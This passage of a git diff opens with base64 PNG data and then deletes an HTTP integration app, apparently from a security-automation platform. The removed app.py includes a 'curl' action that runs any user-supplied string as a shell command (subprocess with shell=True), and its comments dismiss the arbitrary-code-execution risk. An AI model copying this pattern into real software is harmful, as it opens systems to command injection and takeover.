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 diff --git a/http/1.3.0/requirements.txt b/http/1.3.0/requirements.txt deleted file mode 100644 index ae3e5391..00000000 --- a/http/1.3.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -uncurl==0.0.10 -requests==2.25.1 \ No newline at end of file diff --git a/http/1.3.0/src/app.py b/http/1.3.0/src/app.py deleted file mode 100755 index 12742c99..00000000 --- a/http/1.3.0/src/app.py +++ /dev/null @@ -1,459 +0,0 @@ -import time -import json -import ast -import random -import socket -import uncurl -import asyncio -import requests -import subprocess - -from walkoff_app_sdk.app_base import AppBase - -class HTTP(AppBase): - __version__ = "1.3.0" - app_name = "http" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is dangerously fun :) - # Do we care about arbitrary code execution here? - # Probably not huh - def curl(self, statement): - process = subprocess.Popen(statement, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True) - stdout = process.communicate() - item = "" - if len(stdout[0]) > 0: - print("Succesfully ran bash!") - item = stdout[0] - else: - print("FAILED to run bash!") - item = stdout[1] - - try: - ret = item.decode("utf-8") - return ret - except: - return item - - return item - #try: - # if not statement.startswith("curl "): - # statement = "curl %s" % statement - - # data = uncurl.parse(statement) - # request = eval(data) - # if isinstance(request, requests.models.Response): - # return request.text - # else: - # return "Unable to parse the curl parameter. Remember to start with curl " - #except: - # return "An error occurred during curl parsing" - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ":" in header: - splititem = ":" - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) >= 2: - parsed_headers[splitheader[0].strip()] = splititem.join(splitheader[1:]).strip() - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkverify(self, verify): - if str(verify).lower().strip() == "false": - return False - elif verify == None: - return False - elif verify: - return True - elif not verify: - return False - else: - return True - - def checkbody(self, body): - # Indicates json - if isinstance(body, str): - if body.strip().startswith("{"): - body = json.dumps(ast.literal_eval(body)) - - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - if isinstance(body, dict) or isinstance(body, list): - try: - body = json.dumps(body) - except: - return body - - return body - - def fix_url(self, url): - # Random bugs seen by users - if "hhttp" in url: - url = url.replace("hhttp", "http") - - if "http:/" in url and not "http://" in url: - url = url.replace("http:/", "http://", -1) - if "https:/" in url and not "https://" in url: - url = url.replace("https:/", "https://", -1) - if "http:///" in url: - url = 